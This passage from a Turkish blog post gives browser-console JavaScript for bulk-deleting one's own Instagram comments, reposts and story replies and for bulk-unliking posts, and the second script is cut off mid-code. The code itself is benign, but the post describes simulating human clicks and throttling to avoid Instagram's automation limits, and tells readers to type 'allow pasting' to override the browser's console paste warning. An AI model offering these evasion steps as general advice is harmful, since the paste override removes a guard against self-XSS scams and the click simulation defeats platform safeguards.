higher, and keep the <code>MAX</code> value at a low level, like <code>5</code>. If you've been hit with a limit, take a break for at least 8 hours. If the limit persists after 8 hours, you might need to wait for 24 hours for your account to fully recover.</li> <li><strong>Button Not Found Error:</strong> The page might not have fully loaded yet, or your language setting is not English. Refresh the page, ensure the language is set to English, and then run the code again.</li> <li><strong>I Want to Stop the Script:</strong> You can paste and run the following code in the console. Alternatively, if you don't want to mess with the code at all, you can stop the script instantly by refreshing the browser page (press F5). <code>javascript window.__STOP_IG_BULK_DELETE__ = true;</code></li> </ul> <p>If you're experiencing an annoying visual issue with the keyboard on the mobile app, you can also check out my previously prepared guide: <a href="/en/instagram-klavye-yorum-kutusu-sorunu/">What to Do If the Keyboard Covers the Comment Box in Instagram</a>.</p> <p>If you also want to clean up your past, my friend, you can get rid of this hassle effortlessly by running the scripts above in your browser console. Don't forget to share your experiences in the comments!</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Those curious about the old demo video I mentioned can check out my <a href="https://www.instagram.com/p/CEOCOVTjnLo/" rel="noopener noreferrer" target="_blank">Instagram post</a>.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>You can also access all interaction pages from the "Your activity" panel in the left menu on the Instagram web version.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-31T09:30:00+03:002026-05-31T09:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-31:/instagram-toplu-yorum-ve-begeni-silme-rehberi/

<p>Instagram geçmişini temizlemek isteyenler için Bloks UI engelini aşan, tarayıcı konsolunda çalışan pratik JavaScript otomasyon rehberi.</p>

<p>Ge&ccedil;en g&uuml;n bilgisayar&inodot;mdaki eski ar&scedil;ivleri kar&inodot;&scedil;t&inodot;r&inodot;rken g&ouml;z&uuml;m y&inodot;llar &ouml;nce yazd&inodot;&gbreve;&inodot;m o me&scedil;hur Instagram botunun kodlar&inodot;na ve o d&ouml;nem &ccedil;ekti&gbreve;im demo videosuna <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> tak&inodot;ld&inodot;. O zamanlar Instagram'&inodot;n toplam &uuml;ye say&inodot;s&inodot; zaten topu topu 2 milyon faland&inodot;, bizim bot da sa&gbreve; olsun 1.9 milyonuna bizzat dokundu 😂 &Idot;&scedil;in komik taraf&inodot;, o d&ouml;nem bot kullanan herkes &ccedil;at&inodot;r &ccedil;at&inodot;r ban yerken bana merakla soruyordu: "Ulan herkes banlan&inodot;rken sen nas&inodot;l ban yemiyorsun?" diye 😎 O d&ouml;nem botu Selenium'dan &ccedil;&inodot;kar&inodot;p mobil cihazlarda UI Automator ile &ccedil;al&inodot;&scedil;acak seviyeye getirmi&scedil;tim. 📱</p> <script async="" src="//www.instagram.com/embed.js"></script> <p>Y&inodot;llar ge&ccedil;ti ama Instagram'&inodot;n kullan&inodot;c&inodot;ya eziyet etme politikas&inodot; pek de&gbreve;i&scedil;medi. 🤦&zwj;&male;️ Y&inodot;l olmu&scedil; 2026, koca platformda toplu i&scedil;lemlerin hi&ccedil;birini d&uuml;zg&uuml;n yapam&inodot;yorsunuz; her etkile&scedil;imi tek tek elle silmek ve d&uuml;zenlemek zorundas&inodot;n&inodot;z. Sosyal medyay&inodot; ayda y&inodot;lda bir kullanan, kenarda k&ouml;&scedil;ede &uuml;&ccedil; be&scedil; etkile&scedil;imi olan biri gibi davran&inodot;yorlar bize. Instagram'&inodot;n kendi aray&uuml;z&uuml;nde binlerce yorumu tek tek se&ccedil;ip silmeye &ccedil;al&inodot;&scedil;mak, ka&scedil;&inodot;kla okyanusu bo&scedil;altmaya benziyor. 🥄🌊</p> <p>&Idot;nternette bu toplu silme i&scedil;ini ger&ccedil;ekle&scedil;tiren taray&inodot;c&inodot; eklentileri var ve bunlar&inodot; 20 euro gibi fiyatlardan sat&inodot;yorlar. 💸 Ben ise bu rehberde ayn&inodot; i&scedil;i g&ouml;ren JavaScript kodlar&inodot;n&inodot; dostum, sana bedavadan biraz daha pahal&inodot;ya (yani tamamen &uuml;cretsiz) sunuyorum 😂</p> <p>Bu kod sayesinde neredeyse 1 g&uuml;nde kendi hesab&inodot;m&inodot; tertemiz ettim. ✨ Asl&inodot;nda Instagram ba&scedil;ta g&ouml;z&uuml;m&uuml; korkutmu&scedil;tu. Eskiden profilimi temizlemeye yeltendi&gbreve;imde "&Ccedil;ok fazla ayn&inodot; &scedil;eyi yap&inodot;yorsun" diyerek 1 g&uuml;n boyunca engel koyuyor, hesab&inodot;n baz&inodot; temel i&scedil;levlerini bozuyordu. 🚫 Ancak bu y&ouml;ntemle &scedil;u ana kadar on binlerce yorum ve be&gbreve;eniyi sorunsuzca sildim, tek bir uyar&inodot; bile almad&inodot;m. Bunun s&inodot;rr&inodot;, silme ve be&gbreve;eniyi geri &ccedil;ekme i&scedil;lemlerinde tek seferde se&ccedil;ilecek adeti (<code>MAX</code> de&gbreve;erini) en fazla 20 seviyesinde tutmam oldu.</p> <hr/> <h2 id="neden-standart-tklama-yontemleri-calsmyor">💡 Neden Standart T&inodot;klama Y&ouml;ntemleri &Ccedil;al&inodot;&scedil;m&inodot;yor?<a class="headerlink" href="#neden-standart-tklama-yontemleri-calsmyor" title="Permanent link">#</a></h2> <p>Instagram, aray&uuml;z&uuml;nde klasik HTML elementleri yerine <strong>Bloks</strong> ad&inodot; verilen dinamik bir yap&inodot; kullan&inodot;yor. Bu yap&inodot;, do&gbreve;rudan JavaScript'teki <code>element.click()</code> gibi standart tetikleyicileri g&uuml;venlik amac&inodot;yla g&ouml;rmezden gelir. </p> <p>Ben bu sorunu a&scedil;mak i&ccedil;in <code>realClick</code> ad&inodot;nda &ouml;zel bir fonksiyon tasarlad&inodot;m. Bu fonksiyon, taray&inodot;c&inodot;ya "buraya ger&ccedil;ekten bir insan t&inodot;kl&inodot;yor" sinyali g&ouml;ndermek i&ccedil;in <code>mousedown</code>, <code>mouseup</code> ve <code>click</code> pointer event'lerini s&inodot;rayla ve ger&ccedil;ek&ccedil;i zamanlamalarla tetikliyor. Bu sayede platformun g&uuml;venlik mekanizmalar&inodot;na tak&inodot;lmadan elemanlar&inodot; otomatik se&ccedil;ebiliyoruz.</p> <hr/> <h2 id="hazrlk-ve-dikkat-edilmesi-gerekenler">🛠️ Haz&inodot;rl&inodot;k ve Dikkat Edilmesi Gerekenler<a class="headerlink" href="#hazrlk-ve-dikkat-edilmesi-gerekenler" title="Permanent link">#</a></h2> <p>Beti&gbreve;i &ccedil;al&inodot;&scedil;t&inodot;rmadan &ouml;nce &scedil;u kritik kurallara dikkat etmemiz gerekiyor:</p> <div class="admonition warning"> <p class="admonition-title">Warning</p> <p><strong>Dil Ayar&inodot; Zorunlulu&gbreve;u:</strong> Instagram hesab&inodot;n&inodot;z&inodot;n aray&uuml;z dili mutlaka <strong>&Idot;ngilizce (English)</strong> olmal&inodot;d&inodot;r. Betikler butondaki "Select", "Delete" ve "Unlike" metinlerini arayarak &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot; i&ccedil;in T&uuml;rk&ccedil;e aray&uuml;zde butonlar&inodot; bulamaz ve durur.</p> </div> <p>Beti&gbreve;i &ccedil;al&inodot;&scedil;t&inodot;rmak istedi&gbreve;iniz etkile&scedil;im t&uuml;r&uuml;ne g&ouml;re ilgili sayfaya gitmeniz son derece &ouml;nemlidir. Hangi sekmede &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot;z bu kodlar&inodot;n do&gbreve;rulu&gbreve;unu belirler:</p> <ul> <li><strong>Be&gbreve;eniler (Likes) Sayfas&inodot;:</strong> <a href="https://www.instagram.com/your_activity/interactions/likes" rel="noopener noreferrer" target="_blank">Likes</a></li> <li><strong>Yorumlar (Comments) Sayfas&inodot;:</strong> <a href="https://www.instagram.com/your_activity/interactions/comments" rel="noopener noreferrer" target="_blank">Comments</a></li> <li><strong>Repostlar Sayfas&inodot;:</strong> <a href="https://www.instagram.com/your_activity/interactions/reposts" rel="noopener noreferrer" target="_blank">Reposts</a></li> <li><strong>Hikaye Yan&inodot;tlar&inodot; Sayfas&inodot;:</strong> <a href="https://www.instagram.com/your_activity/interactions/story_replies" rel="noopener noreferrer" target="_blank">Story Replies</a></li> <li> <p><strong>De&gbreve;erlendirmeler Sayfas&inodot;:</strong> <a href="https://www.instagram.com/your_activity/interactions/reviews" rel="noopener noreferrer" target="_blank">Reviews</a> <sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></p> </li> <li> <p>Bilgisayar&inodot;n&inodot;zdan Instagram web s&uuml;r&uuml;m&uuml;n&uuml; a&ccedil;&inodot;n ve giri&scedil; yap&inodot;n.</p> </li> <li>Silmek istedi&gbreve;iniz etkile&scedil;im t&uuml;r&uuml;ne g&ouml;re yukar&inodot;daki ba&gbreve;lant&inodot;lardan uygun sayfaya gidin.</li> <li>Taray&inodot;c&inodot;n&inodot;zda sa&gbreve; t&inodot;klay&inodot;p <strong>&Idot;ncele (Inspect)</strong> deyin veya <code>F12</code> tu&scedil;uyla geli&scedil;tirici konsolunu (Console) a&ccedil;&inodot;n.</li> </ul> <div class="admonition tip"> <p class="admonition-title">Tip</p> <p><strong>Konsol Engeli &Ccedil;&ouml;z&uuml;m&uuml;:</strong> E&gbreve;er taray&inodot;c&inodot;n&inodot;z konsola kod yap&inodot;&scedil;t&inodot;rman&inodot;z&inodot; engelliyorsa, konsol sat&inodot;r&inodot;na <code>allow pasting</code> yaz&inodot;p Enter tu&scedil;una bas&inodot;n. Ard&inodot;ndan beti&gbreve;i tekrar yap&inodot;&scedil;t&inodot;rmay&inodot; deneyin.</p> </div> <hr/> <h2 id="1-yorumlar-paylasmlar-hikaye-yantlar-ve-degerlendirmeler-icin-silme-betigi">📝 1. Yorumlar, Payla&scedil;&inodot;mlar, Hikaye Yan&inodot;tlar&inodot; ve De&gbreve;erlendirmeler &Idot;&ccedil;in Silme Beti&gbreve;i<a class="headerlink" href="#1-yorumlar-paylasmlar-hikaye-yantlar-ve-degerlendirmeler-icin-silme-betigi" title="Permanent link">#</a></h2> <p>A&scedil;a&gbreve;&inodot;daki betik; yorumlar&inodot;n&inodot;z&inodot;, repostlar&inodot;n&inodot;z&inodot;, hikaye yan&inodot;tlar&inodot;n&inodot;z&inodot; ve de&gbreve;erlendirmelerinizi (reviews) toplu olarak silmek i&ccedil;in kullan&inodot;l&inodot;r. Kodu kopyalay&inodot;p konsola yap&inodot;&scedil;t&inodot;rman&inodot;z ve Enter tu&scedil;una basman&inodot;z yeterlidir.</p> <div class="highlight"><pre><span></span><code><span class="cm">/**</span> <span class="cm"> * Instagram Toplu Etkile&scedil;im Silme Beti&gbreve;i</span> <span class="cm"> * Yorumlar, Repostlar, Hikaye Yan&inodot;tlar&inodot; ve De&gbreve;erlendirmeler i&ccedil;in.</span> <span class="cm"> */</span> <span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">instagramBulkDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span> <span class="w"> </span><span class="c1">// G&uuml;venli&gbreve;iniz i&ccedil;in tek seferde silinecek adeti d&uuml;&scedil;&uuml;k tutun</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">MAX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">10</span><span class="p">;</span><span class="w"> </span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">CYCLE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">20000</span><span class="p">;</span><span class="w"> </span><span class="c1">// &Ccedil;evrimler aras&inodot; bekleme s&uuml;resi (ms)</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">SELECT_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1200</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">ICON_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">700</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">DELETE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1500</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">sleep</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">ms</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">ms</span><span class="p">));</span> <span class="w"> </span><span class="c1">// Ger&ccedil;ek t&inodot;klama sim&uuml;lasyonu</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">element</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">[</span><span class="s2">"mousedown"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mouseup"</span><span class="p">,</span><span class="w"> </span><span class="s2">"click"</span><span class="p">].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">eventType</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">element</span><span class="p">.</span><span class="nx">dispatchEvent</span><span class="p">(</span> <span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">MouseEvent</span><span class="p">(</span><span class="nx">eventType</span><span class="p">,</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">view</span><span class="o">:</span><span class="w"> </span><span class="nb">window</span><span class="p">,</span> <span class="w"> </span><span class="nx">bubbles</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">cancelable</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nx">buttons</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span> <span class="w"> </span><span class="p">}),</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="bk.components.Flexbox"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">el</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Select"</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">selectBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findSelectButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">selectBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Select butonu bulunamad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">selectBtn</span><span class="p">);</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">selectComments</span><span class="p">(</span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">icons</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">getSelectableIcons</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">icons</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">selected</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">const</span><span class="w"> </span><span class="nx">icon</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="nx">icons</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">selected</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="nx">max</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">scrollIntoView</span><span class="p">({</span><span class="w"> </span><span class="nx">behavior</span><span class="o">:</span><span class="w"> </span><span class="s2">"smooth"</span><span class="p">,</span><span class="w"> </span><span class="nx">block</span><span class="o">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w"> </span><span class="p">});</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">400</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">button</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">icon</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'[role="button"]'</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">button</span><span class="p">)</span><span class="w"> </span><span class="k">continue</span><span class="p">;</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">button</span><span class="p">);</span> <span class="w"> </span><span class="nx">selected</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">ICON_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">selected</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deleteText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span> <span class="w"> </span><span class="s1">'span[data-bloks-name="bk.components.TextSpan"]'</span><span class="p">,</span> <span class="w"> </span><span class="p">),</span> <span class="w"> </span><span class="p">].</span><span class="nx">find</span><span class="p">((</span><span class="nx">span</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">span</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Delete"</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deleteText</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">deleteText</span><span class="p">.</span><span class="nx">closest</span><span class="p">(</span><span class="s1">'div[style*="pointer-events: auto"]'</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">clickBloksDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">SELECT_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deleteBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findBloksDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deleteBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Bloks Delete butonu bulunamad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">realClick</span><span class="p">(</span><span class="nx">deleteBtn</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[...</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s2">"button"</span><span class="p">)].</span><span class="nx">find</span><span class="p">(</span> <span class="w"> </span><span class="p">(</span><span class="nx">btn</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerText</span><span class="o">?</span><span class="p">.</span><span class="nx">trim</span><span class="p">()</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"Delete"</span><span class="p">,</span> <span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">confirmFinalDelete</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">DELETE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">findModalDeleteButton</span><span class="p">();</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">modalDeleteBtn</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="ne">Error</span><span class="p">(</span><span class="s2">"Onaylama butonu bulunamad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="p">.</span><span class="nx">focus</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="mf">100</span><span class="p">);</span> <span class="w"> </span><span class="nx">modalDeleteBtn</span><span class="p">.</span><span class="nx">click</span><span class="p">();</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">cycle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">;</span> <span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">activateSelectMode</span><span class="p">();</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">deletedCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">selectComments</span><span class="p">(</span><span class="nx">MAX</span><span class="p">);</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">deletedCount</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">"Silinecek etkile&scedil;im kalmad&inodot;."</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">clickBloksDelete</span><span class="p">();</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">confirmFinalDelete</span><span class="p">();</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`&Ccedil;evrim </span><span class="si">${</span><span class="nx">cycle</span><span class="si">}</span><span class="sb">: </span><span class="si">${</span><span class="nx">deletedCount</span><span class="si">}</span><span class="sb"> adet &ouml;ge silindi.`</span><span class="p">);</span> <span class="w"> </span><span class="nx">cycle</span><span class="o">++</span><span class="p">;</span> <span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">CYCLE_DELAY</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">warn</span><span class="p">(</span><span class="s2">"&Idot;&scedil;lem durduruldu:"</span><span class="p">,</span><span class="w"> </span><span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">);</span> <span class="w"> </span><span class="k">break</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">})();</span> </code></pre></div> <hr/> <h2 id="2-begenileri-geri-cekme-unlike-betigi">🖤 2. Be&gbreve;enileri Geri &Ccedil;ekme (Unlike) Beti&gbreve;i<a class="headerlink" href="#2-begenileri-geri-cekme-unlike-betigi" title="Permanent link">#</a></h2> <p>Be&gbreve;endi&gbreve;iniz g&ouml;nderileri toplu olarak be&gbreve;enmekten vazge&ccedil;mek (unlike yapmak) istiyorsan&inodot;z butonlar&inodot;n isim yap&inodot;s&inodot; de&gbreve;i&scedil;iyor. Testlerimi yaparken buton isimlerinin "Unlike" olarak g&uuml;ncellenmesi gerekti&gbreve;ini fark ettim. Likes sekmesinde bu kodu kullanabilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="cm">/**</span> <span class="cm"> * Instagram Toplu Be&gbreve;eni Kald&inodot;rma Beti&gbreve;i</span> <span class="cm"> * Sadece Be&gbreve;eniler (Likes) sekmesi i&ccedil;in.</span> <span class="cm"> */</span> <span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">instagramBulkUnlike</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">__STOP_IG_BULK_DELETE__</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">MAX</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">20</span><span class="p">;</span><span class="w"> </span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">CYCLE_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">20000</span><span class="p">;</span><span class="w"> </span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">SELECT_DELAY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1200</span><span class="p">;</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">ICON_DELAY</span><span class="w"> </span><span 